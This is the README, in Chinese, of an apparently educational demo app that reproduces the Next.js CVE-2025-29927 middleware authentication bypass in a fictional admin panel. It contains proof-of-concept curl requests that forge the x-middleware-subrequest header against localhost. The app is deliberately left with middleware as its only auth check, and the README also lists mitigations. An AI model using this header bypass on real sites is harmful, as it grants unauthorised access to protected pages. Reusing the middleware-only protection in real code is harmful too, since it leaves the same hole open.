gitgudKrish/cve-2025-29927-nextjs

GitHub: gitgudKrish/cve-2025-29927-nextjs

这是一个用于教育演示Next.js CVE-2025-29927认证绕过漏洞的模拟应用。

Stars: 0 | Forks: 0

# Himalaya Tech 管理面板 — CVE-2025-29927 演示 ## 关于此演示 本应用演示了 **CVE-2025-29927**,这是一个影响 Next.js 中间件(CVSS 9.1)的严重认证绕过漏洞。该应用模拟了一个逼真的企业级管理面板,为虚构公司“Himalaya Tech Pvt. Ltd.”所设计——旨在让绕过操作的影响在视觉上更具说服力。 所有显示的员工记录、API 密钥、数据库凭据及其他“敏感”数据均为**完全虚构和模拟的**——仅用于教育演示目的。 ## CVE-2025-29927 — 漏洞摘要 | 字段 | 详情 | |--------------|----------------------------------------------------------------------| | CVE ID | CVE-2025-29927 | | 严重程度 | 严重(CVSS 9.1) | | 影响版本 | Next.js ≤ 14.2.29,Next.js ≤ 15.2.2 | | 修复版本 | Next.js 14.2.30,15.2.3 | | 类型 | 通过 HTTP 头部操作进行中间件认证绕过 | ### 根本原因 Next.js 使用一个内部 HTTP 头部 `x-middleware-subrequest` 来跟踪递归中间件调用并防止无限循环。在易受攻击的版本中,攻击者可以在外部请求中**伪造此头部**。当该头部存在并匹配中间件的标识符时,Next.js 运行时将**完全跳过该中间件**,包括其中定义的所有认证逻辑。 ### 影响 任何仅依赖 `middleware.ts` 来保护路由的应用(这是一种常见且推荐的 Next.js 模式)都存在漏洞。未经认证的攻击者只需添加一个 HTTP 头部即可访问任何受保护的页面。 ## 概念验证 ### 正常请求(被阻止 — 重定向到 /login) ``` curl -v http://localhost:3000/admin # 307 重定向到 /login ``` ### 绕过请求(成功 — 返回完整的管理页面) ``` curl -v \ -H "x-middleware-subrequest: middleware" \ http://localhost:3000/admin # 200 OK — 完整的管理仪表板 HTML 已返回,无需认证 ``` ### 访问嵌套的受保护路由 ``` # Admin 用户页面 curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users # 系统设置与 'production credentials' curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings ``` ### 使用浏览器(通过 Burp Suite / 浏览器扩展) 在任何对 `/admin/*` 的请求中添加请求头 `x-middleware-subrequest: middleware`,中间件检查将被跳过。 ## 为何此应用易受攻击 `middleware.ts` 是**唯一**的保护机制: ``` // middleware.ts export function middleware(request: NextRequest) { if (pathname.startsWith("/admin")) { const token = request.cookies.get("auth-token")?.value; if (!token || token !== "valid-session-xyz123") { return NextResponse.redirect(loginUrl); // ← this entire function is skipped } } return NextResponse.next(); } ``` 页面组件本身(例如 `app/admin/page.tsx`)**不包含任何认证检查** —— 这是故意的,旨在反映遵循仅中间件保护模式的真实世界应用程序。 ## 设置与运行 ### 前置条件 - Node.js 18+ - npm 或 yarn ### 安装 ``` npm install ``` ### 运行开发服务器 ``` npm run dev ``` 应用将在 `http://localhost:3000` 上可用。 ### 路由 | 路由 | 需要认证 | 描述 | |-------------------|----------|-------------------------------------| | `/` | 否 | 公开着陆页 | | `/login` | 否 | 登录表单 | | `/admin` | 是* | 包含敏感数据的管理仪表板 | | `/admin/users` | 是* | 用户管理 | | `/admin/settings` | 是* | 系统设置与凭据 | *仅由中间件保护 — 可通过 CVE-2025-29927 绕过。 ### 演示凭据(正常登录流程) - 电子邮箱:`admin@himalayatech.com` - 密码:`Admin@2024` ## 缓解措施 1. **升级 Next.js** 至 14.2.30+ 或 15.2.3+。 2. **纵深防御**:在页面组件/路由处理器内添加服务器端认证检查,而不仅仅是在中间件中。中间件应视为用户体验优化,而非安全边界。 3. **在反向代理/CDN 上剥离该头部**,确保请求到达 Next.js 之前已移除。 ## 免责声明 本应用仅提供**教育目的**,专门用于在道德安全课程背景下演示 CVE-2025-29927 的实际影响。所有数据(员工记录、API 密钥、凭据)均为**完全虚构**。请勿将此演示应用或此处演示的技术用于您未拥有或未获得明确测试许可的系统。
标签:CISA项目, ClamAV, CVE-2025-29927, CVSS 9.1, HTTP 头部操纵, MITM代理, Next.js 中间件, Next.js 安全, Web 安全测试, Web 应用安全, 严重漏洞, 中间件安全, 前端框架漏洞, 后端开发, 教育演示, 模拟应用, 漏洞演示, 管理员面板, 网络安全, 认证绕绕过漏洞, 认证绕过, 隐私保护